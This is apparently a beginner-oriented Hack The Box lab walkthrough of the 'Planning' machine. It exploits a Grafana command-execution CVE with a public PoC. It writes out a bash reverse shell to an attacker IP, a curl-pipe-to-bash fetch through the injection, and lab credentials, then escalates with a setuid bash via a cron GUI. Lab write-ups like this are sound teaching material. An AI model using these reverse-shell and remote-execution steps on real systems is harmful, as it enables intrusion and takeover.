Welcome to the WhyWriteUps articles, where we explain every step we made and why we made it. I have been solving machines for quite a bit of time, and most of the walkthroughs I have ever read are just commands and I think that most of the people who are reading those walkthroughs do not understand the commands they are using, so I wanted to fix that. I want beginners to understand what they are doing and why they are doing it. | Hackthebox Planning walkthrough
Press enter or click to view image in full size
This is a newly retired Easy Linux machine, which showcases a vulnerable Grafana instance and privilege escalation through cron jobs.
The machine is built around an assumed breach, meaning they will provide us with credentials: admin / 0D5oT70Fq13EvB5r
.
We will start our enumeration by ping
command to check if the host is alive.
ping 10.10.11.6864 bytes from 10.10.11.68: icmp_seq=1 ttl=63 time=94.6 ms
We received a response, meaning the host is alive.
Now, let’s run nmap scan to see open ports.
nmap 10.10.11.68 -sVC -p- -min-rate=10000
Breakdown of command:
nmap
— Tool for network discovery.f
10.10.11.45
— IP address of target
-sVC
— Tells nmap to run service version enumeration and also other default scripts.
-p-
— Scan all ports.
-min-rate=10000
— No slower rate than 10000 packets per second (pretty fast)
Press enter or click to view image in full size
The nmap scan revealed us two open ports, 22 for ssh
and 80 for http
. The scan also revealed the host name: planning.htb. We
are going to add this to our /etc/hosts
like this:
10.10.11.68 planning.htb
After that, let’s see what we have in port 80 (http://planning.htb
).
Press enter or click to view image in full size
We will see a main page for some education center, but it does not contain any interesting functions. Let’s perform vhost enumeration.
We can do that with ffuf
using this command:
ffuf -w SecList/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://planning.htb -t 100 -H "Host:FUZZ.planning.htb" -fs 178
Breakdown of command:
ffuf
—ffuf is fast web fuzzer, multi functional.
-w
— Argument to give wordlist, in our case we gave bitquark-subdomains-top100000.txt
which is great wordlist.
-u
— URL of website
-t
— 100 threads at the same time, pretty fast (default: 40)
-H
— changing request header (needed for subdomain fuzzing)
-fs
— filters out the certain size response, needed to get the existence subdomain
We can find the size to filter by not using it for the first time, and the ffuf will give you a lot of requests with the same word count and size. That means this word count and size number indicate the Not Found page size. We’ll pick that.
Also, you might get an answer with zero size and zero word count. This means our ffuf
is working very fast and that the website response can not catch up with the ffuf. If you get too many responses like this, it is advised to lower the speed.
Press enter or click to view image in full size
The fuzzing revealed subdomain: grafana
, Let’s now change our /etc/hosts
to this.
10.10.11.78 planning.htb grafana.planning.htb
After changing the /etc/hosts
file, we can try to access the subdomain (http://grafana.planning.htb
).
Press enter or click to view image in full size
We will see grafana
login page, and at the footer of the page, we will see the version of the grafana
we are dealing with.
Press enter or click to view image in full size
We are going to note this, and now let’s try the given credentials for this Grafana instance.
Press enter or click to view image in full size
And we will successfully log in to this instance and get the admin dashboard.
Press enter or click to view image in full size
When we are solving easy machines in HackTheBox, they are usually made with public CVE
, so we can try to search for some interesting CVE
for this version of Grafana.
Searching this in google: grafana 11.0.0 critical vulnerability
, gives us results showing CVE-2024–9264
. You can learn more about this vulnerability from the official Grafana website:
Basically, we can execute system commands from the Grafana instance if we are authenticated as a viewer or higher, and of course we can execute this vulnerability because we are authenticated as admin.
Now let’s search for proof of concept for this vulnerability.
search: CVE-2024–9264 PoC github
.
And I found this great proof of concept from GitHub that fully uses python
.
Let’s clone this repository into our localhost using this command:
git clone https://github.com/nollium/CVE-2024-9264
Press enter or click to view image in full size
As you can see, we have cloned this repository into the directory named CVE-2024-9264
.
Before we execute the the PoC
script, let’s install the required Python packages with pip
, but to install through pip
, we have to set up a Python environment so that it will not disturb our main Python environment. I have shown how we can do that in this walkthrough:
After doing so, let’s install the required Python packages with this command:
pip install -r requirements.txt
Press enter or click to view image in full size
As you can see, we successfully installed it, now we can execute the PoC using this command:
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "id" http://grafana.planning.htb
Breakdown of command:
python3
— using python 3 to execute this script.
CVE-2024-9264.py
— executing the script.
-u admin
— giving username for authentication.
-p 0D5oT70Fq13EvB5r
— giving password for the username we specified earlier.
-c "id"
—executing simple command to test the vulnerability.
http://grafana.planning.htb
— giving the host name we are targeting.
Press enter or click to view image in full size
We successfully executed system commands in the target, and we got results as root. We are most likely executing commands inside a Docker instance.
But I could not really execute a basic reverse shell, we are getting errors from SQL, probably.
Press enter or click to view image in full size
We can execute the same command using a file. We are going to create a file written inside the basic reverse shell, and we are going to execute the file from the target using the command injection we exploited earlier.
First we are going to create a file: revereshell.sh
, and give this command inside:
bash -c 'bash -i >& /dev/tcp/10.10.14.2/1337 0>&1'
Press enter or click to view image in full size
Now, let’s open a basic HTTP server using Python to make the file accessible from other hosts.
python3 -m http.server
Breakdown of command
python3
— using latest python
-m
— Execute the library module as a script. This prevents us from writing code for just executing this module.
http.server
— http library server module
Execute this command from the directory where you created reverseshell.sh
.
Press enter or click to view image in full size
We successfully hosted our reverseshell.sh
, now let’s access the hosted reverse shell file using the script.
But before quickly start a local listener to catch the shell, open another terminal to catch this shell instead of stopping the Python HTTP.
Now it is time to execute the reverse shell using this command:
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "curl http://10.10.14.2:8000/reverseshell.sh | bash" http://grafana.planning.htb
This is the same command we used to execute id
command. But we are using curl
to get the content of reverseshell.sh
and after that we are executing the given content of reverseshell.sh
using bash
at the end.
Press enter or click to view image in full size
After executing this command, we can look back into our local listener, and we will see a root shell.
Press enter or click to view image in full size
Looking through something interesting through this system, we can see clear-text credentials in the environment variables.
We can use this command to list them: env
Press enter or click to view image in full size
We can see credentials enzo:RioTecRANDEntANT!
.
We can try these credentials for ssh
.
Press enter or click to view image in full size
We successfully got an SSH shell, from here we can read the user.txt
.
Let’s check for locally listening ports on the target using this command:
netstat -tulnp
Breakdown of command:
netstat
— using netstat command to operate network operations.
-t
— TCP connections.
-u
— UDP connections.
-l
— Only listening sockets (ports that are waiting for connections).
-n
— Numeric addresses/ports (instead of resolving hostnames or service names).
-p
— PID and process name of the program bound to each socket.
This command will show us TCP and UDP listening open ports in the machine.
Press enter or click to view image in full size
There are plenty of open ports that are not exposed to the internet. There are two open ports whose service we do not yet know: 3000
and 8000
.
Searching the internet, I found that Grafana uses 3000
by default, so let’s check the port 8000
, to do so, we will be using port forwarding in ssh
using this command:
ssh [email protected] -L 8000:127.0.0.1:8000
Breakdown of command:
ssh
— Using SSH for port forwarding
[email protected]
— Giving username for authentication and host name
-L
— Specified local port forwarding
8000:
— The local port we are going to use for tunneling. Everything that we will send over 8000
will go through the tunnel.
127.0.0.1:8000
— The destination port, we are giving 127.0.0.1
instead of the IP of the target because the port is only accessible, and we are giving it from an SSH perspective.
Issue Arose: You might get the error address already in use, if you have not stopped the Python server yet.
If we try to access the page, we will get HTTP authentication.
Press enter or click to view image in full size
A few weak usernames and passwords did not work. Let’s explore the system again.
If we go to /opt
directory, we will see an interesting directory named crontabs
, inside this directory, we will see a file named: crontab.db
, reading the file reveals to us password: P4ssw0rdS0pRi0T3c
, and the root_grafana
is probably the username for this password.
Press enter or click to view image in full size
Let’s try this for the service we port forwarded earlier. We can try a bunch of usernames for this password, like admin
, root
and root_grafana
.
But the password only worked for root:P4ssw0rdS0pRi0T3c
and we will see it is some kind of cronjob GUI, and we can guess that the cronjobs are used as root because it’s operating inside the root directory:
Press enter or click to view image in full size
Let’s add a new cron job using new
button.
Press enter or click to view image in full size
When creating a cron job, we have the option to execute a command, and there we are using chmod u+s /bin/bash
which gives /bin/bash
binary, setuid of the owner of the bash, which is often root. With setuid, we can execute the binary or script with the privileges of the owner (in our case, root).
Let’s click save, after doing so, click run now.
Press enter or click to view image in full size
After that we can check the binary with this command:
ls -la /bin/bash
Press enter or click to view image in full size
And we can see the difference before and after running the script, the binary contains setuid now. Let’s execute binary using this command to get a shell as root.
/bin/bash -p
The -p
will set the UID (User Identifier) to the owner of the file when executing the binary, basically meaning we will get shell as root. We could not do this if we did not have setuid in the binary.
As you can see, it successfully worked, and we got a shell as root and were able to read the root.txt
.
If you liked this walkthrough, don’t forget to check out my list:
Or my latest walkthroughs:
If you have any questions about this box or in general. Don’t forget to leave a comment.
If you enjoyed this walkthrough of HTB Vintage, stick around for more boxes and stories. We all start somewhere — this is just the beginning.
━━━━━━━━━━━━━━
WhyWriteUps
Learn. Hack. Share.
━━━━━━━━━━━━━━